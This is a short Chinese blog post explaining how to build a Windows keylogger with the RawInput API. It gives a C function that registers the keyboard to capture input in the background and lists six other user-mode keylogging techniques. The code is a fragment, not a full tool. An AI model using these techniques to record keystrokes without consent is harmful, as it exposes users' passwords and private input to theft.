键盘记录都已经被用烂了,最近涉及到这方便的东西,挑了半天选了rawinput这个方法。
大致流程就是先注册一个原始输入设备并制定消息回调窗口的句柄:
BOOL RegisitKeyBord(HWND hwnd) { if(NULL == hwnd) return false; PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices"); if(NULL == RegisterRawInputDevices) return false; RAWINPUTDEVICE rid; rid.usUsagePage = 0x01; rid.usUsage = 0x06; //0x02是鼠标消息 rid.dwFlags = RIDEV_INPUTSINK; //不管怎样都截取 具体说明看MSDN rid.hwndTarget = hwnd; return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE)); }
然后在这个窗口的消息循环中获取WM_INPUT消息并调用GetRawInputData获取原始输入数据即可。
rawinput键盘记录代码下载:201303131846186678
最后总结一下ring3下常用的键盘记录方法有(如果各位还有补充可以留言):
1.键盘钩子,分wh_keyboard钩子和wh_keyboard_ll底层钩子
2.消息回调,setwindowlongptr回调窗口消息后分析wm_keydown消息
3.directInput设备
4.rawinput
5.hook sendinput等输入函数
6.GetKeyState和GetAsyncKeyState函数遍历获取
驱动的方法也有很多,本人很少用驱动,这里就不提了,省的误导了各位观众。